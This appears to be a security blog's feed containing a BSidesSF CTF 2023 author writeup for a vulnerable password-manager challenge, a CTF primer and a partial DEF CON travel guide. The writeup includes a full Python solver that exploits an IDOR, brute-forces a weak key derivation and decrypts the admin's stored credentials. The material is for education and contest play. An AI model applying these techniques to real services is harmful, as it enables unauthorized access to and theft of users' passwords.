System Overlord2023-10-05T22:57:41-07:00https://systemoverlord.com/David Tomaschikdavid@systemoverlord.comBSidesSF CTF 2023: Lastpwned (Author Writeup)2023-04-23T00:00:00-07:00https://systemoverlord.com/2023/04/23/bsidessf-ctf-2023-lastpwned-author-writeup
<p>I was the challenge author for a handful of challenges for this year’s BSidesSF
CTF. One of those challenges was <strong><code class="language-plaintext highlighter-rouge">lastpwned</code></strong>, inspired by a recent
high-profile data breach. This challenge provided a web-based password manager
with client-side encryption.</p>
<!--more-->
<p>The challenge description read:</p>
<blockquote>
<p>It’s 2023, so it’s finally time that people use a password manager. We’ve got
our zero-knowledge solution ready to go. To prove our trust in it, the admin
is even using it for their passwords too!</p>
</blockquote>
<p>Visiting the challenge website, players are presented with a page to login or
register. Registering gives us an account, and presents a UI with several
pages, including passwords and history. In the passwords page, we can add and
view our encrypted passwords. On the history page, we see a list of historical
versions of our encrypted passwords, and clicking on one loads the historical
“keybag”.</p>
<p>Several API endpoints are revealed by watching traffic as we browse these pages:</p>
<ul>
<li>/api/register</li>
<li>/api/login</li>
<li>/api/keybag</li>
<li>/api/keybag/history</li>
<li>/api/keybag/history/<username>/<generation></generation></username></li>
</ul>
<p>All the keybag endpoints require authentication. A player who tries to alter
the username in the history may discover that a missing authorization check
leads to an insecure direct object reference (IDOR). This allows us to retrieve
the encrypted “keybags” for other users of the service. If we check the
username <code class="language-plaintext highlighter-rouge">admin</code>, we can download several historical keybags belonging to the
admin.</p>
<p>Each “keybag” comes with some metadata as a JSON object, looking something like
this:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>{
"generation":2,
"keyhash": "ef4162320ca407c402a2498b630c4b392dc82d340af2f8827aaa6799e03c93f9",
"iterations":100,
"created":"2023-04-20 16:20:00",
"keybag":"base64data"
}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>For the <code class="language-plaintext highlighter-rouge">admin</code> account, some of the historical keybags have the iterations
count set to <code class="language-plaintext highlighter-rouge">1</code> rather than the current default of <code class="language-plaintext highlighter-rouge">100</code>. Looking at the
client-side aspects of the challenge reveals a React-based frontend that
includes a <code class="language-plaintext highlighter-rouge">lib.js</code> library of functions, including all of the
encryption/decryption logic. There are helper functions for making HTTP
requests, but also some functions relating to cryptography:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">deriveKey(salt, password, iter)</code></li>
<li><code class="language-plaintext highlighter-rouge">loadLatestKeybag()</code></li>
<li><code class="language-plaintext highlighter-rouge">loadKeybag(keybagData)</code></li>
</ul>
<p>Looking at <code class="language-plaintext highlighter-rouge">loadKeybag</code> we see that the <code class="language-plaintext highlighter-rouge">keyhash</code> value in the keybag is
compared to a value that is determined during key derivation. Since we want to
figure out what this key is to decrypt the encrypted data, examining the
<code class="language-plaintext highlighter-rouge">deriveKey</code> function may be useful.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="rouge-code"><pre>async function deriveKey(salt, password, iter) {
const utf8encode = new TextEncoder();
const rawSalt = utf8encode.encode(salt);
const rawPassword = utf8encode.encode(password);
const saltedData = [];
let i = 0;
while (true) {
if (i >= rawSalt.length || i >= rawPassword.length) {
break;
}
saltedData.push(rawSalt[i] ^ rawPassword[i]);
i++;
}
let keyData = new Uint8Array(saltedData);
for (let i=0; i<iter; i++) {
keyData = await window.crypto.subtle.digest("SHA-256", keyData);
}
let keyHash = await window.crypto.subtle.digest("SHA-256", keyData);
const keyHashHex = toHexString(new Uint8Array(keyHash));
return {
keyData: keyData,
keyHash: keyHashHex,
};
};
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The function begins by xor’ing the first characters of the salt and the password
together to produce <code class="language-plaintext highlighter-rouge">saltedData</code>. The number of chracters is limited by the
lengths of the salt and the password, and it uses the shorter of the two values.
This value is SHA-256 hashed to produce the raw key, and then SHA-256’d a second
time to produce the <code class="language-plaintext highlighter-rouge">keyHash</code>, which is compared (in hex) to the <code class="language-plaintext highlighter-rouge">keyHash</code> from
the <code class="language-plaintext highlighter-rouge">keybag</code> API endpoints.</p>
<p>To figure out how the salt and password are passed in, we look for invocations
of <code class="language-plaintext highlighter-rouge">deriveKey</code>. It is invokved for keybag decryption as:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre> const newkey = await deriveKey(
userCreds.username, userCreds.password, keybagData.iterations);
</pre></td></tr></tbody></table></code></pre></div></div>
<p>The password is, unsurprisingly, the user’s password. The salt appears to be
the username. Looking elsewhere in the library, the <code class="language-plaintext highlighter-rouge">userCreds</code> variables is
set to the variables sent to the <code class="language-plaintext highlighter-rouge">login</code> or <code class="language-plaintext highlighter-rouge">register</code> endpoints. In <code class="language-plaintext highlighter-rouge">app.jsx</code>,
it can be seen that these are just the raw user input converted to lower case.</p>
<p>At this point, we know the keyhash should be the SHA-256 of the SHA-256 of the
exclusive-or of “admin” and the first 5 characters of the admin’s password in
lowercase. At this point we can attempt to crack the hash using this
information and a list of all 5 character permutations of lower-case letters and
digits.</p>
<p>I chose to implement a solution in Python and used the following code:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
</pre></td><td class="rouge-code"><pre>class KeyData:
def __init__(self, salt, password, i=1):
kd = self.xor(salt.encode(), password.encode())
for i in range(i):
kd = hashlib.sha256(kd).digest()
self.key = kd
self.keyhash = hashlib.sha256(kd).hexdigest()
@staticmethod
def xor(a, b):
return bytes(x^y for x,y in zip(a, b))
def __repr__(self):
return '<Key: "{}", KeyHash: "{}">'.format(
binascii.hexlify(self.key),
self.keyhash,
)
def crack_keybag(keybag):
start = time.time()
salt = "admin"
alpha = string.ascii_lowercase + string.digits
combs = itertools.product(alpha, repeat=len(salt))
i = 0
try:
for c in combs:
i += 1
k = KeyData(salt, ''.join(c), i=keybag["iterations"])
if k.keyhash == keybag["keyhash"]:
print(''.join(c))
return k
finally:
end = time.time()
print('Cracking time: {:0.2f} / {:d}'.format(end-start, i))
</pre></td></tr></tbody></table></code></pre></div></div>
<p><code class="language-plaintext highlighter-rouge">itertools.product</code> produces all of the permutations (with replacement) of the
characters of the length of the salt, then we <code class="language-plaintext highlighter-rouge">xor</code> the data together (in the
<code class="language-plaintext highlighter-rouge">KeyData</code> class) and hash <code class="language-plaintext highlighter-rouge">iterations+1</code> to find the keyhash, then compare it
to the data from our keybag. (On my laptop, this takes about one minute to
complete.)</p>
<p>As a side note, the letters are also from (many) dictionary words. The <a href="https://xkcd.com/936/">xkcd
hint</a> on the homepage was intended to suggest that it did not have to be all
permutations but just prefixes of English words. From the dictionary I was
using, this is about 60,000 combinations, or about 0.01% of the problem space of
a pure brute force.</p>
<p>This enables decrypting the keybag using the same decryption routines present in
the Javascript library, or implemented separately in python. Doing this, we
find a few credentials, one of which is labeled as the flag.</p>
<p>Complete solution script:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
</pre></td><td class="rouge-code"><pre>import requests
import json
import sys
import random
import string
import hashlib
import base64
import time
import itertools
import binascii
from Crypto.Cipher import AES
class KeyData:
def __init__(self, salt, password, i=1):
kd = self.xor(salt.encode(), password.encode())
for i in range(i):
kd = hashlib.sha256(kd).digest()
self.key = kd
self.keyhash = hashlib.sha256(kd).hexdigest()
@staticmethod
def xor(a, b):
return bytes(x^y for x,y in zip(a, b))
def __repr__(self):
return '<Key: "{}", KeyHash: "{}">'.format(
binascii.hexlify(self.key),
self.keyhash,
)
class Solver:
def __init__(self, endpoint):
self.endpoint = endpoint
if self.endpoint[-1] == "/":
self.endpoint = self.endpoint[:-1]
self.token = None
def post(self, path, data):
headers = {
'Content-type': 'application/json',
}
if self.token is not None:
headers['X-Auth-Token'] = self.token
resp = requests.post(self.endpoint+path, data=json.dumps(data),
headers=headers)
resp.raise_for_status()
return resp.json()
def get(self, path):
headers = {}
if self.token is not None:
headers['X-Auth-Token'] = self.token
resp = requests.get(self.endpoint+path, headers=headers)
resp.raise_for_status()
return resp.json()
def register_new_user(self):
username = random_string()
password = random_string()
data = {
"username": username,
"password": password,
"confirm": password,
}
resp = self.post("/api/register", data)
if not resp["success"]:
raise ValueError("register failed")
self.token = resp["token"]
def get_admin_keybag(self):
return self.get("/api/keybag/history/admin/4")
@staticmethod
def split_keybag(kbdata):
iv_len = 96//8
kbbytes = base64.b64decode(kbdata)
return kbbytes[:iv_len], kbbytes[iv_len:]
@staticmethod
def crack_keybag(keybag):
start = time.time()
salt = "admin"
alpha = string.ascii_lowercase + string.digits
combs = itertools.product(alpha, repeat=len(salt))
i = 0
try:
for c in combs:
i += 1
k = KeyData(salt, ''.join(c), i=keybag["iterations"])
if k.keyhash == keybag["keyhash"]:
print(''.join(c))
return k
finally:
end = time.time()
print('Cracking time: {:0.2f} / {:d}'.format(end-start, i))
@staticmethod
def decrypt(iv, ctext, key):
cipher = AES.new(key.key, mode=AES.MODE_GCM, nonce=iv)
mac = ctext[-16:]
ctext = ctext[:-16]
return cipher.decrypt_and_verify(ctext, mac)
def solve(self):
self.register_new_user()
keybag = self.get_admin_keybag()
print(keybag)
kd = self.crack_keybag(keybag)
if not kd:
print("No keyhash found!!")
sys.exit(1)
print(repr(kd))
iv, ctext = self.split_keybag(keybag["keybag"])
dec = self.decrypt(iv, ctext, kd)
print(dec)
keys = json.loads(dec)
flag = None
for k in keys:
if k["title"] == "Flag":
flag = k["password"]
if flag is None:
raise ValueError("no flag found")
print(flag)
def main():
if len(sys.argv) != 2:
print('Usage: %s endpoint' % sys.argv[0])
sys.exit(1)
endpoint = sys.argv[1]
solver = Solver(endpoint)
solver.solve()
def random_string(l=12):
return ''.join(random.choice(string.ascii_lowercase) for _ in range(l))
if __name__ == '__main__':
main()
</pre></td></tr></tbody></table></code></pre></div></div>
CTF 101: Just Try It!2023-04-17T00:00:00-07:00https://systemoverlord.com/2023/04/17/ctf-101-just-try-it
<ul id="markdown-toc">
<li><a href="#what-is-a-ctf" id="markdown-toc-what-is-a-ctf">What is a CTF?</a></li>
<li><a href="#common-categories" id="markdown-toc-common-categories">Common Categories</a> <ul>
<li><a href="#pwnable-pwn" id="markdown-toc-pwnable-pwn">Pwnable (Pwn)</a></li>
<li><a href="#web" id="markdown-toc-web">Web</a></li>
<li><a href="#forensics" id="markdown-toc-forensics">Forensics</a></li>
<li><a href="#crypto" id="markdown-toc-crypto">Crypto</a></li>
<li><a href="#reversing-re" id="markdown-toc-reversing-re">Reversing (RE)</a></li>
</ul>
</li>
<li><a href="#useful-tools" id="markdown-toc-useful-tools">Useful Tools</a></li>
<li><a href="#benefits-of-playing" id="markdown-toc-benefits-of-playing">Benefits of Playing</a></li>
<li><a href="#advice" id="markdown-toc-advice">Advice</a></li>
</ul>
<p>As I’m helping to organize the <a href="https://ctf.bsidessf.net">BSides San Francisco
CTF</a> this weekend, I thought I’d share a little primer
for CTFs for those who have not gotten into them before.</p>
<h2 id="what-is-a-ctf">What is a CTF?</h2>
<p>I suspect that most people in the information security (“cybersecurity”) space
have already heard of Capture the Flag (or CTF) competitions, but in case you
haven’t, I wanted to provide a short overview.</p>
<p>Capture the Flag competitions are a timed and scored set of security-related
challenges. They may take many forms and durations, but there are some pretty
common styles, and the majority of CTFs are 24-72 hours long. Some are
associated with conferences or other events, while others are run entirely
online.</p>
<p>The most common style of CTF is called “<strong>Jeopardy Style</strong>”, named after the TV
show. In these CTFs, players complete challenges from an assortment of
categories to earn points. Most often, completing each challenge awards the
“flag” that is entered into the scoreboard to receive points. These may be run
for individual players or teams of players.</p>
<p>Another style is the “<strong>Attack-Defense CTF</strong>”, in which teams of players have a
network to defend while also being able to attack the networks of other players.
They may involve stealing flags off the opponent’s network or planting ones own
flags to earn points.</p>
<p>Most players’ first CTF experience will be with a Jeopardy-style CTF
competition, such as the one we’re running this weekend, so I’ll focus on that
style for the remainder of this post.</p>
<h2 id="common-categories">Common Categories</h2>
<p>While CTFs may present challenges that are widely varied, there are some
categories that are fairly common across the board. Beyond those described
below, you’ll see varied topics like Mobile, Cloud, or even “Miscellaneous”
where you’ll be doing some potentially obscure task.</p>
<h3 id="pwnable-pwn">Pwnable (Pwn)</h3>
<p>As a general rule, these challenges usually have an expectation of gaining some kind of
privileged access, usually in the form of code execution or a shell. Many of
them involve some form of memory corruption (buffer overflow, use-after-free,
double free, etc.), and some CTF participants would say that pwn should even be
limited to memory corruption. Usually, it will be a networked binary/service
written in a relatively low-level language. In any case, these would be the common
“exploitation of a priviliged service”.</p>
<p>Solving these may also involve some reverse engineering to understand the
binary, but the focus here is normally on the exploitation of the bug(s) more
than the reverse engineering. Occasionally, a challenge will provide source
code or other resources.</p>
<h3 id="web">Web</h3>
<p>Web challenges are incredibly common and only continuing to grow in popularity
with challenge authors over time. Probably has something to do with nearly
everything being a web app these days. These challenges involve compromising a
web application, either by server-side vulnerabilities (SQL injection, request
splitting, auth bypass, SSRF) or through client-side vulnerabilities (XSS,
CSRF), or some combination.</p>
<p>For the client-side exploits, most challenges involve some kind of automated
browser visiting the relevant application to be exploited. (Having to exploit a
browser bug is less common, but also possible.) For the BSidesSF CTF, we call
this “<code class="language-plaintext highlighter-rouge">webbot</code>”, and use a headless Chrome driven by the puppeteer library.</p>
<p>Web challenges can have a special complexity for challenge authors: shared
state, such as databases, make it easier for players’ attempts to interfere with
each other. (Personally, I try to avoid such state if I can.)</p>
<h3 id="forensics">Forensics</h3>
<p>Forensics challenges have a wide variety of challenges to recover some kind of
data from an underlying media. This might be packet captures, disk images,
memory dumps, steganography or even log analysis. It’s encouraging to see more
responder/blue team oriented content appearing in CTFs, even if I’m personally
terrible at them.</p>
<p>These challenges are great for those in (or looking to get into) SOC, digital
forensics, or other related fields. Also great for those transitioning from
something like network administration, as some of the topics should be quite
familiar.</p>
<h3 id="crypto">Crypto</h3>
<p>Crypto means cryptography! These challenges typically involve some kind of
custom cryptosystem, though I’ve also seen bad key generation or incorrect
application of well-known cryptographic primitives. If you think you’re good at
math, spotting patterns, or figuring out weird formats, this might be a category
you can use to test yourself.</p>
<p>Crypto challenges can range from basic Caesar ciphers to mis-applications of
cryptosystems like AES or RSA. They’re also a great opportunity to practice
scripting, as you’ll often need to apply your approach to a large volume of
data.</p>
<h3 id="reversing-re">Reversing (RE)</h3>
<p>Reverse Engineering challenges mostly involve a program that needs to be
reverse-engineered to figure out the hidden flag. Often, they’ll ask for an
input and use that input to produce or decrypt the flag and then display them.
These usually tend to be native code (C/C++ or even something like Rust or Go),
but you might also encounter managed code (such as .NET, Java, or Python
bytecode). Disassemblers and decompilers will be your friend here.</p>
<p>These are great for those who want to understand malware, or want to extend
their reversing skills for better exploitation or other security practices.
I’ve personally learned so much about the internals of operating systems and
application security from reversing challenges.</p>
<h2 id="useful-tools">Useful Tools</h2>
<p>For a variety of reasons, Linux CTF challenges are far more common than Windows
challenges. Consequently, you’ll probably want some flavor of Linux VM. It
doesn’t have to be something security-specific like Parrot or Kali Linux, but
something you can test things on and run things on. Don’t forget to snapshot
this VM, as it’ll give you a clean start each time, as well as reduce the risk
of something going wrong with a challenge attempt completely screwing things up.</p>
<p>For web challenges, having a web proxy that lets your replay and modify HTTP
requests is incredibly useful. <a href="https://portswigger.net/burp">BurpSuite</a> is a
bit of a gold standard, but OWASP Zap and mitmproxy are other options. Having a
VPS or using a “Request Bin” to receive requests online can also be useful.</p>
<p>For reversing, pwnable, and other challenges, you’ll want a disassembler like Ghidra,
radare2/rizin, BinaryNinja or IDA. You’ll also probably want a debugger – I
use <code class="language-plaintext highlighter-rouge">gdb</code> with the <a href="https://github.com/hugsy/gef"><code class="language-plaintext highlighter-rouge">gef</code></a> script on Linux, and
<code class="language-plaintext highlighter-rouge">windbg</code> on Windows.</p>
<p>For forensics challenges, there’ll be a variety of tools that depend on the
circumstance. Commonly, though, you’ll see challenges involve packet captures
(PCAP), for which Wireshark is just about the <em>only</em> answer.</p>
<p>You might need to be able to host files or receive reverse shells. In such a
case, having a system with a public IP can be incredibly useful. I tend to use
a VPS for this, as I’m often at a conference or on another network doing Network
Address Translation, which makes receiving incoming connections more difficult.
I mostly use <a href="https://m.do.co/c/b2cffefc9c81">DigitalOcean</a> because they’re
relatively low cost and easy to spin up in a variety of regions, but you can get
some really cheap VPSs if you look on a site like LowEndBox. For something like
playing in a CTF, the lower reliability of a cheaper option is not a significant
concern.</p>
<p>GCHQ’s CyberChef can also be a great tool during CTFs, along with familiarity
with some sort of scripting language. If you’re using Python, I can highly
recommend pwntools when doing reversing or exploitation challenges.</p>
<h2 id="benefits-of-playing">Benefits of Playing</h2>
<p>Probably the most prevalent benefit of playing in CTF competitions is the fun
and enjoyment brought about by solving challenges. Just like any kind of
puzzle, there is a sense of accomplishment on solving a challenge. (Especially
something new or difficult to you.)</p>
<p>There is definitely an educational benefit to participating in a CTF as well.
They provide a great opportunity to reinforce an existing skill or try out
something new during a CTF – the stakes are low, and if well-designed, it
should be possible to solve the puzzle.</p>
<p>Even if one doesn’t learn new technical skills, puzzle-like games can stretch
the mind and help improve the ability to think “outside the box.”</p>
<p>I’ve also met some great people through playing and building CTF challenges.
This can be a good networking opportunity, as most of them will be in the
information security space or related areas.</p>
<h2 id="advice">Advice</h2>
<p>I recommend just giving it a try. Look at a challenge that looks fun, check it
out, and give it a try. You can get far just by Googling a few things in a lot
of cases, and you might just learn something!</p>
Returning to Hacker Summer Camp2022-07-20T00:00:00-07:00https://systemoverlord.com/2022/07/20/returning-to-hacker-summer-camp
<p>It’s that time of year again – Hacker Summer Camp. (Hacker Summer Camp is the
~weeklong period where several of the largest hacker/information security
conferences take place in Las Vegas, NV, including DEF CON and Black Hat USA.)
This will be the 3rd year in a row where it takes place under the spectre of a
worldwide pandemic, and the first one to be fully in-person again.
<a href="https://bsideslv.org/">BSidesLV</a> has returned to in-person, <a href="https://defcon.org/html/defcon-30/dc-30-index.html">DEF
CON</a> is in-person only,
<a href="https://www.blackhat.com/">Black Hat</a> will be in full swing, and
<a href="https://ringzer0.training/">Ringzer0</a> will be offerring in-person trainings.
It’s <em>almost</em> enough to forget there’s still an ongoing pandemic.</p>
<p>I did attend last year’s hybrid DEF CON in person, and I’ve been around a few
times, so I wanted to share a few tidbits, especially for first timers.
Hopefully it’s useful to some of you.</p>
<!--more-->
<ul id="markdown-toc">
<li><a href="#conferencesevents" id="markdown-toc-conferencesevents">Conferences/Events</a> <ul>
<li><a href="#planning" id="markdown-toc-planning">Planning</a></li>
</ul>
</li>
<li><a href="#logistics" id="markdown-toc-logistics">Logistics</a> <ul>
<li><a href="#bringing-tech" id="markdown-toc-bringing-tech">Bringing Tech</a></li>
<li><a href="#packing" id="markdown-toc-packing">Packing</a></li>
</ul>
</li>
<li><a href="#safety" id="markdown-toc-safety">Safety</a> <ul>
<li><a href="#stay-healthy" id="markdown-toc-stay-healthy">Stay Healthy</a></li>
<li><a href="#physical-safety" id="markdown-toc-physical-safety">Physical Safety</a></li>
<li><a href="#electronic-safety" id="markdown-toc-electronic-safety">Electronic Safety</a></li>
</ul>
</li>
<li><a href="#faqs" id="markdown-toc-faqs">FAQs</a> <ul>
<li><a href="#whats-a-goon" id="markdown-toc-whats-a-goon">What’s a Goon?</a></li>
<li><a href="#where-can-i-learn-more-about-the-history-of-def-con" id="markdown-toc-where-can-i-learn-more-about-the-history-of-def-con">Where can I learn more about the history of DEF CON?</a></li>
<li><a href="#what-is-badgelife" id="markdown-toc-what-is-badgelife">What is Badgelife?</a></li>
<li><a href="#where-can-i-see-past-talks" id="markdown-toc-where-can-i-see-past-talks">Where Can I See Past Talks?</a></li>
<li><a href="#what-is-the-rule-on-photography" id="markdown-toc-what-is-the-rule-on-photography">What is the Rule on Photography?</a></li>
<li><a href="#i-dont-know-anyone--how-do-i-meet-people" id="markdown-toc-i-dont-know-anyone--how-do-i-meet-people">I Don’t Know Anyone – How Do I Meet People?!</a></li>
</ul>
</li>
<li><a href="#closing" id="markdown-toc-closing">Closing</a></li>
</ul>
<h2 id="conferencesevents">Conferences/Events</h2>
<ul>
<li>
<p><a href="https://defcon.org/">DEF CON</a> is arguably the penultimate event of the week.
By far the largest by attendance, it also brings the greatest variety in
hackers to the event. Ranging from students just getting into the scene to
seasoned hackers with decades of experience to industry professionals, the
networking opportunities are limitless. The talks are generally high quality,
though they can be a bit of a mixed bag sometimes. Some will
teach/demonstrate great things, and I always find a few worth watching, even
if only when they get published on YouTube.</p>
<p>There are “villages” for every topic and space – voting machines, hardware
hacking, Red Teaming, IoT, lockpicking, social engineering, and more. The
villages allow niche areas of hacking to showcase their special interests, and
are generally run by individuals with a pure passion for their field. If you
want to know more about a particular subfield of hacking, there is no better
way than finding the right village.</p>
<p>For the more competitive type, there’s a variety of competitions. In addition
to the main “DEF CON CTF”, there’s also typically smaller CTFs in the Contest
area or individual villages, so those looking for a challenge can put their
skills to the test. Other competitions in the past have included a scavenger
hunt, a password cracking competition, a beverage cooling competition, and
more.</p>
<p>In the evening, there’s variety of activities from parties/concerts to “Hacker
Jeopardy” – a very mature take on Jeopdardy! with a hacker theme. There’s
also plenty of private parties and places to hang out with fellow hackers all
evening long.</p>
<p>You may also hear people refer to “the badge” when talking about admission to
the conference. While other conferences usually talk about registration or a
ticket and have some boring piece of paper to present as your admission, DEF
CON badges have become a work of art. Approximately every other year, the
badge is electronic and has microcontrollers and some electronic function. In
theory, DEF CON 30 should be a “passive” year, the creators of the badge (MK
Factor) have <a href="https://www.youtube.com/watch?v=bceoYgzvGu8">confirmed that it will be electronic this
year</a>. (Check out the linked
interview if you’re curious.)</p>
<p>New this year is <a href="https://training.defcon.org/collections/all">DEFCON
trainings</a>. These are taking
place <em>after</em> DEF CON and providing some opportunities to get high-quality
training associated with the conference. They’re all 2-day trainings, but
they appear to be a good value for money in comparison to many other
commercial training offerings.</p>
</li>
<li>
<p><a href="https://www.blackhat.com/us-22/">Black Hat</a> is the premiere security industry
conference. I differentiate it from a hacking conference in that most of the
people who are there will be people who strictly work in the industry and far
fewer who are hackers just for the fun of it. Part of this is the cost (at
least an order of magnitude more than DEF CON), and
part of this is the general atmosphere. Polo shirts are the order of the day
instead of black t-shirts and mohawks.</p>
<p>There’s lots of high-quality technical material, but also a vendor sales floor
with all the sales pitches you can possibly imagine. (But this is also where
you can get free SWAG and party invites, so it’s not all terrible news.)</p>
<p>Black Hat also has a multitude of training opportunities. In fact, Black Hat
USA is likely the largest single site training event for the information
security space each year. There’s trainings for every background and skill
level, for all kinds of specialities, and in both 2- and 4-day formats.</p>
</li>
<li>
<p><a href="https://bsideslv.org/">BSidesLV</a> is the B-Side to Black Hat. A community
conference through-and-through, it has many similarities to the DEF CON of
many years ago, but with a little more chill attitude. BSides is a great
opportunity for new speakers as well as those who want to interact with fellow
hackers in a more chill and (slightly) smaller atmosphere – though it’s
gotten quite busy itself over the years. BSides takes over all the conference
space at the Tuscany, and most of the hotel rooms, so it’s a great opportunity
to be completely immersed in the hacker scene.</p>
</li>
<li>
<p>The <a href="https://www.dianainitiative.org/">Diana Initiative</a> is “A conference
committed to helping all those underrepresented in Information Security.” In
the past, it’s been a 1 day or 1/2 day affair, but now it’s becoming a 2 day
event, and I’m so happy to see such an important topic getting more love.</p>
</li>
<li>
<p><a href="https://ringzer0.training/">Ringzer0</a> is a training-only event focusing
predominantly on reverse engineering and exploitation. It provides a nice
alternative to Black Hat trainings (it’s the same days, but an independent
event). The trainings offered here seem much more specific than Black Hat
trainings, and I’m planning to take one, so I’ll have a review here after the
event.</p>
</li>
</ul>
<h3 id="planning">Planning</h3>
<p>The biggest single piece of advice I can offer is: <strong>don’t try to do
everything</strong>. You can’t do it, and managing your energy is actually an
important part of the week, <em>especially</em> if you’re attending multiple of the
conferences during the week.</p>
<p>Beyond that, I encourage you to think about what you hope to get out of your
time. If you’d like to try out contests, pick out one or maybe two and focus on
them. If you’re looking for a new role or wanting to meet new people, find
social opportunities. If you’re looking to expand your skills in a particular
direction, identify all of the relevant content in the area.</p>
<p>I’ve had years where I tried to do too much and ended the week feeling I’d done
nothing at all. I typically prioritize interactive events – contests, meeting
people, etc., – over talks, because the talks will be recorded and available
later, unless the talk is something I plan to immediately apply. At the bigger
events (DEF CON and Black Hat) the audience is likely to be so large that even
if you have questions, it will be hard to get them answered by the speaker.</p>
<h2 id="logistics">Logistics</h2>
<p>Quite frankly, the best time to plan hotel and airfare has probably already
passed, but the 2nd best time to plan them is right now. I expect both will
only rise in price from this point forward. Unfortunately, prices have been
very volatile this summer. As of writing, the following group rates for hotels
are still available:</p>
<ul>
<li><a href="https://book.passkey.com/gt/218227359?gtid=91d1496702985f29e56b82c5f9253b61">DEF CON Room
Block</a>
– Note that this year, DEF CON is at <strong>Caesar’s Forum</strong>, which is a new
conference center located behind the Linq and Harrah’s. (It is attached to
these two hotels by a skybridge.)</li>
<li><a href="https://res.windsurfercrs.com/ibe/details.aspx?propertyid=16539&checkin=08/07/2022&group=0822BSLV">The
Tuscany</a>
is the off-strip resort that hosts BSidesLV. They still have a number of
rooms available, and most of the guests at the hotel will be fellow hackers
during the course of the week.</li>
<li><a href="https://book.passkey.com/go/bhusa2022">Black Hat</a> has rates at the Mandalay
Bay. I’d only recommend this if you’ll be attending Black Hat, however, as
it’s at the far south end of the strip.</li>
<li><a href="https://book.passkey.com/e/50286476">Ringzer0</a> has a special rate for those
attending their training at Park MGM. One feature of this hotel is that the
entire thing is Non-Smoking. Along with Vdara and the Delano, this is an
unusual quality on the strip and great for those with allergies.</li>
</ul>
<p>Airfare is obviously high dependant on where you are originating. If it’s not
too far and airfare looks a bit pricey for you, check out whether anyone from a
local DEF CON Group is driving and maybe you can split the gas and make a new
friend! There’s also ride and room share threads on the <a href="https://forum.defcon.org/node/242080">DEF CON
Forum</a>. While there’s obviously good
reasons to be careful of who you ride or room with, lots of people have had
success and met new friends along the way.</p>
<h3 id="bringing-tech">Bringing Tech</h3>
<p>Some people want to spend the whole week hacking. Some want to be hands-off
keyboard the whole week. You might be somewhere in between. What you want to
do during the week will dictate a lot of the tech you bring with you.</p>
<p>Since I will be attending a training event and enjoy playing in the
contests/CTFs, I will necessarily be bringing a laptop with me – in this case,
my <a href="https://frame.work/">Framework Laptop</a> that I love. (Full review of that
coming soon.) I have a <a href="https://amzn.to/3oqgO4Y">1TB SSD</a> which should be
enough for VMs for training and CTFs as well, but I’ll probably also bring along
an <a href="https://amzn.to/3PxvISI">external SSD</a> for sharing resources. They’re light
enough that the speed advantage over a typical flash drive is worth it.</p>
<p>If you do intend to take a training or play a CTF for more than a little bit, I
can’t recommend a <a href="https://amzn.to/3z2dyBF">wireless mouse</a> enough. Even the
great trackpad on Macbooks just doesn’t feel as good to me as a mouse after a
few hours.</p>
<p>Outlets can also be quite limited, so if you bring a <a href="https://amzn.to/3Puwb8t">travel power
strip</a>, you can always squeeze in where someone else
has plugged in and even provide more outlets. Sharing is caring!</p>
<p>I’ll also have my <a href="https://amzn.to/3zu5afS">Pixel 6 Pro</a>, but won’t bring any
work tech along with me – I’m fortunate to not be in an urgent/oncall role, and
this allows me to better focus on what I’m doing <em>there</em> instead of what’s going
on in the office. Though phone battery life has gotten pretty good for a lot of
phones, I’ll still bring a <a href="https://amzn.to/3PNvp5Z">backup battery bank</a>.
There are even ones capable of <a href="https://amzn.to/3zqbwfY">charging many laptops</a>
available, though they get a bit bulky and heavy.</p>
<p>I’ll cover <em>protecting</em> your tech down below, but the short form is that I have
no problem bringing things (laptop, phone, etc.).</p>
<h3 id="packing">Packing</h3>
<p>Look, it’s Las Vegas in August. You don’t need to check a weather forecast to
know that it’s going to be <em>hot</em>. Reaching 45℃ (110℉) is not out
of the question. There’s not likely to be much rain, but I have seen it a time
or two. Windy is a definite possibility though. Dress accordingly.</p>
<p>In the casinos and the conference areas, the air conditioning is often on full
blast. I’m personally comfortable in a T-Shirt and jeans or shorts, but if
you’re prone to being cold under such conditions, a lightweight hoodie or jacket
might not be a bad idea.</p>
<p>I have two schools of thought on carrying things with me. Some years, I have
intentionally used a <a href="https://amzn.to/3op9tCB">smaller backpack</a> to avoid
lugging so much stuff around with me for days on end. This does work out, but
then I end up wishing I had certain other items. The other extreme is carrying
my <a href="https://amzn.to/3RYnN2o">EDC backpack</a> full of gear and a sore back after a
couple of days. Carrying the smaller backpack is probably the better decision,
but I can’t say I’m always known for making the best decisions.</p>
<p>It may seem a bit anachronistic, but I also suggest carrying a <a href="https://amzn.to/3vaoigl">small
notebook</a> (I’m quite partial to Field Notes with
